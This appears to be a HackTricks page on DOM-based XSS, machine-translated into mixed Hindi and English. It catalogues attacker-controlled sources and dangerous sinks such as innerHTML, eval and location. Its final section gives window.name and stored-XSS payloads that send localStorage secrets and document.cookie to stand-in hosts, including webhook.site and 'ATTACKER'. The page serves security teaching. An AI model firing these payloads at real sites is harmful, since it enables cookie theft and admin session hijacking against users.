DOM XSS

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सदस्यता योजनाओं की जांच करें!

हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**

हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।

DOM कमजोरियाँ

DOM कमजोरियाँ तब होती हैं जब हमलावर-नियंत्रित Sources (जैसे location.search, document.referrer, या document.cookie) का डेटा असुरक्षित रूप से Sinks तक पहुँचता है। Sinks वे functions या objects हैं (उदा., eval(), document.body.innerHTML) जो अगर malicious data दिए जाएँ तो खतरनाक सामग्री execute या render कर सकते हैं।

Sources वे इनपुट हैं जिन्हें हमलावर बदल सकते हैं, जैसे URLs, cookies, और web messages।
Sinks संभावित रूप से खतरनाक endpoints हैं जहाँ malicious data से हानिकारक प्रभाव हो सकते हैं, जैसे script execution।

जोखिम तब पैदा होता है जब डेटा किसी source से sink तक बिना उचित validation या sanitation के बहता है, जिससे XSS जैसे हमले संभव होते हैं।

Tip

आप Sources और Sinks की अधिक अपडेटेड सूची यहाँ पा सकते हैं https://github.com/wisec/domxsswiki/wiki

Common sources:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Common Sinks:

Open Redirect	Javascript Injection	DOM-data manipulation	jQuery
`location`	`eval()`	`scriptElement.src`	`add()`
`location.host`	`Function() constructor`	`scriptElement.text`	`after()`
`location.hostname`	`setTimeout()`	`scriptElement.textContent`	`append()`
`location.href`	`setInterval()`	`scriptElement.innerText`	`animate()`
`location.pathname`	`setImmediate()`	`someDOMElement.setAttribute()`	`insertAfter()`
`location.search`	`execCommand()`	`someDOMElement.search`	`insertBefore()`
`location.protocol`	`execScript()`	`someDOMElement.text`	`before()`
`location.assign()`	`msSetImmediate()`	`someDOMElement.textContent`	`html()`
`location.replace()`	`range.createContextualFragment()`	`someDOMElement.innerText`	`prepend()`
`open()`	`crypto.generateCRMFRequest()`	`someDOMElement.outerText`	`replaceAll()`
`domElem.srcdoc`	``Local file-path manipulation	`someDOMElement.value`	`replaceWith()`
`XMLHttpRequest.open()`	`FileReader.readAsArrayBuffer()`	`someDOMElement.name`	`wrap()`
`XMLHttpRequest.send()`	`FileReader.readAsBinaryString()`	`someDOMElement.target`	`wrapInner()`
`jQuery.ajax()`	`FileReader.readAsDataURL()`	`someDOMElement.method`	`wrapAll()`
`$.ajax()`	`FileReader.readAsText()`	`someDOMElement.type`	`has()`
``Ajax request manipulation	`FileReader.readAsFile()`	`someDOMElement.backgroundImage`	`constructor()`
`XMLHttpRequest.setRequestHeader()`	`FileReader.root.getFile()`	`someDOMElement.cssText`	`init()`
`XMLHttpRequest.open()`	`FileReader.root.getFile()`	`someDOMElement.codebase`	`index()`
`XMLHttpRequest.send()`	Link manipulation	`someDOMElement.innerHTML`	`jQuery.parseHTML()`
`jQuery.globalEval()`	`someDOMElement.href`	`someDOMElement.outerHTML`	`$.parseHTML()`
`$.globalEval()`	`someDOMElement.src`	`someDOMElement.insertAdjacentHTML`	Client-side JSON injection
``HTML5-storage manipulation	`someDOMElement.action`	`someDOMElement.onevent`	`JSON.parse()`
`sessionStorage.setItem()`	XPath injection	`document.write()`	`jQuery.parseJSON()`
`localStorage.setItem()`	`document.evaluate()`	`document.writeln()`	`$.parseJSON()`
[`Denial of Service`](dom-xss.md#denial-of-service)	`someDOMElement.evaluate()`	`document.title`	``Cookie manipulation
`requestFileSystem()`	``Document-domain manipulation	`document.implementation.createHTMLDocument()`	`document.cookie`
`RegExp()`	`document.domain`	`history.pushState()`	WebSocket-URL poisoning
Client-Side SQl injection	Web-message manipulation	`history.replaceState()`	`WebSocket`
`executeSql()`	`postMessage()`	``	``

The innerHTML sink किसी भी आधुनिक ब्राउज़र पर script elements को accept नहीं करता, और svg onload events भी trigger नहीं होंगे। इसका मतलब है कि आपको img या iframe जैसे वैकल्पिक elements का उपयोग करना होगा।

यह प्रकार का XSS संभवतः खोजने में सबसे कठिन है, क्योंकि आपको JS code के अंदर देखना होगा, यह देखना होगा कि क्या यह किसी ऐसे object का use कर रहा है जिसका value आप नियंत्रित करते हैं, और उस स्थिति में यह देखना होगा कि क्या उसे मनमाना JS चलाने के लिए किसी भी तरह से दुरुपयोग किया जा सकता है।

उन्हें खोजने के उपकरण

https://github.com/mozilla/eslint-plugin-no-unsanitized
ब्राउज़र एक्सटेंशन जो किसी संभावित sink तक पहुंचने वाले प्रत्येक डेटा की जाँच करता है: https://github.com/kevin-mizu/domloggerpp

उदाहरण

Open Redirect

From: https://portswigger.net/web-security/dom-based/open-redirection

Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.

यह समझना महत्वपूर्ण है कि मनमाना कोड चलाना, जैसे javascript:alert(1), संभव हो सकता है यदि आपके पास उस URL के start पर नियंत्रण है जहाँ redirection होता है।

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

From: https://portswigger.net/web-security/dom-based/cookie-manipulation

DOM-based cookie-manipulation vulnerabilities तब होती हैं जब एक script किसी ऐसे डेटा को cookie के value में शामिल करता है जिसे attacker नियंत्रित कर सकता है। यह vulnerability वेबसाइट के भीतर cookie के उपयोग पर वेबपेज के अनपेक्षित व्यवहार का कारण बन सकती है। इसके अलावा, यदि cookie user sessions को ट्रैक करने में शामिल है तो इसे session fixation attack को अंजाम देने के लिए exploit किया जा सकता है। इस vulnerability से जुड़ा प्राथमिक sink है:

Sinks:

document.cookie

JavaScript Injection

स्रोत: https://portswigger.net/web-security/dom-based/javascript-injection

DOM-based JavaScript injection vulnerabilities तब बनती हैं जब एक script ऐसे data को JavaScript code के रूप में चलाती है जिसे एक attacker नियंत्रित कर सकता है।

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

From: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities तब होती हैं जब कोई script document.domain property को ऐसे डेटा से सेट करता है जिसे attacker नियंत्रित कर सकता है।

document.domain property ब्राउज़र द्वारा same-origin policy के enforcement में एक मुख्य भूमिका निभाता है। जब अलग-अलग origins वाली दो pages अपना document.domain एक ही मान पर सेट करती हैं, तो वे बिना प्रतिबंध के परस्पर interact कर सकती हैं। हालाँकि browsers document.domain को दिए जा सकने वाले मानों पर कुछ सीमाएँ लगाते हैं, जिससे वास्तविक page origin से पूरी तरह असंबंधित मान असाइन करना रोका जाता है, परन्तु अपवाद मौजूद हैं। सामान्यतः, browsers child या parent domains के उपयोग की अनुमति देते हैं।

Sinks:

document.domain

WebSocket-URL poisoning

From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning तब होता है जब कोई स्क्रिप्ट WebSocket connection के लिए लक्षित URL के रूप में नियंत्रित डेटा का उपयोग करती है।

Sinks:

The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.

Link manipulation

From: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities तब उत्पन्न होती हैं जब कोई स्क्रिप्ट वर्तमान पेज के भीतर attacker-controllable data to a navigation target लिखती है, जैसे कि एक clickable link या किसी form का submission URL।

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities तब उत्पन्न होते हैं जब कोई script attacker-controllable data into an Ajax request लिखता है, जिसे XmlHttpRequest object का उपयोग करके जारी किया जाता है।

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

स्रोत: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities तब उत्पन्न होती हैं जब कोई स्क्रिप्ट filename पैरामीटर के रूप में हमलावर द्वारा नियंत्रित डेटा फाइल-हैंडलिंग API को भेजती है। इस कमजोरी का फायदा उठाकर एक हमलावर ऐसा URL बना सकता है जिसे यदि कोई अन्य उपयोगकर्ता विज़िट करे, तो उससे उपयोगकर्ता का ब्राउज़र किसी भी मनमानी स्थानीय फ़ाइल को खोल या उसमें लिख सकता है।

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

From: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities तब होती हैं जब कोई स्क्रिप्ट attacker-controllable data को असुरक्षित तरीके से किसी client-side SQL query में शामिल कर देती है।

Sinks:

executeSql()

HTML5-storage manipulation

From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities तब उत्पन्न होती हैं जब कोई script stores attacker-controllable data in the web browser’s HTML5 storage (localStorage or sessionStorage). While this action is not inherently a security vulnerability, it becomes problematic if the application subsequently reads the stored data and processes it unsafely. This could allow an attacker to leverage the storage mechanism to conduct other DOM-based attacks, such as cross-site scripting and JavaScript injection.

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities तब होती हैं जब कोई script attacker-controllable data into an XPath query को शामिल करता है।

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

स्रोत: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities तब होती हैं जब एक script attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application को शामिल करता है।

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

स्रोत: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-message vulnerabilities तब उत्पन्न होती हैं जब कोई script ब्राउज़र के भीतर किसी अन्य document को एक वेब संदेश के रूप में attacker-controllable data as a web message to another document भेजता है। vulnerable Web-message manipulation का एक उदाहरण PortSwigger’s Web Security Academy पर पाया जा सकता है।

Sinks:

The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.

DOM-data manipulation

स्रोत: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-data manipulation vulnerabilities तब उत्पन्न होती हैं जब कोई script DOM के भीतर किसी फ़ील्ड में attacker-controllable data to a field within the DOM लिखता है, जिसका उपयोग visible UI या client-side logic में होता है। इस vulnerability का फायदा उठाकर एक attacker ऐसा URL बना सकता है जिसे यदि किसी अन्य user द्वारा खोला जाए तो client-side UI की दिखावट या व्यवहार बदल सकता/सकती है।

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

From: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities तब होती हैं जब कोई स्क्रिप्ट attacker-controllable data unsafely to a problematic platform API पास करती है। इसमें वे APIs शामिल हैं जो कॉल किए जाने पर उपयोगकर्ता के कंप्यूटर को excessive amounts of CPU or disk space उपभोग करने का कारण बन सकती हैं। इस तरह की कमजोरियाँ गंभीर दुष्प्रभाव पैदा कर सकती हैं, जैसे ब्राउज़र वेबसाइट की कार्यक्षमता को सीमित करना — उदाहरण के लिए localStorage में डेटा स्टोर करने के प्रयासों को अस्वीकार कर देना या व्यस्त स्क्रिप्ट्स को समाप्त कर देना।

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Implicit ग्लोबल्स और `window.name` का दुरुपयोग

name को बिना declaration (var/let/const) के संदर्भित करने पर यह window.name को resolve करता है। चूंकि window.name cross-origin नेविगेशन्स के दौरान बनी रहती है, एक attacker HTML/JS से browsing context name को pre-seed कर सकता है और बाद में victim code उसे trusted data के रूप में render करवा सकता है:

अपने नियंत्रण वाले नामित context में target को Open/navigate करें:

<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>

या window.open को crafted target name के साथ पुनः उपयोग करें:

window.open('https://target/page', "<svg/onload=alert(document.domain)>")

यदि एप्लिकेशन बाद में element.innerHTML = name (या समान sink) बिना sanitization के करता है, तो attacker-controlled window.name स्ट्रिंग टार्गेट origin में execute हो जाती है, जिससे DOM XSS सक्षम होता है और same-origin storage तक पहुँच मिल सकती है।

Automation bots (e.g., Playwright) अक्सर पहले एक internal पेज पर जाते हैं, localStorage/cookies में secrets सेट करते हैं, और फिर user-supplied URLs पर navigate करते हैं। उस फ़्लो में कोई भी DOM XSS primitive (जिसमें window.name abuse भी शामिल है) seeded secret को exfiltrate कर सकता है:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

अगर bot schemes को सीमित नहीं करता है, तो एक javascript: URL (javascript:fetch(...)) देने पर यह बिना नई navigation के current origin में execute हो जाता है और सीधे storage values को leak कर देता है।

Template literal `innerHTML` + आंशिक sanitization गैप्स

केवल चयनित fields को sanitize करने वाले frontends, फिर भी किसी untrusted field को सीधे innerHTML में interpolate करने पर आसानी से exploitable होते हैं। उदाहरण:

fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});

यदि un-sanitized फ़ील्ड सर्वर-साइड पर स्टोर किया गया है (उदा., bug report “details”), तो payload किसी भी privileged viewer के लिए stored DOM XSS बन जाता है। एक सरल payload जैसे <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> तब execute होता है जब admin पेज खोलता है और exfiltrates their cookies।

जब ऐप स्पष्ट रूप से SESSION_COOKIE_HTTPONLY को disable करता है (उदा., Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), चोरी किया गया cookie तुरंत admin session प्रदान कर देता है भले ही signing secret हर boot पर rotate हो (random secret_key forging को रोकता है, लेकिन theft फिर भी काम करता है)।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सदस्यता योजनाओं की जांच करें!

हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**

हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।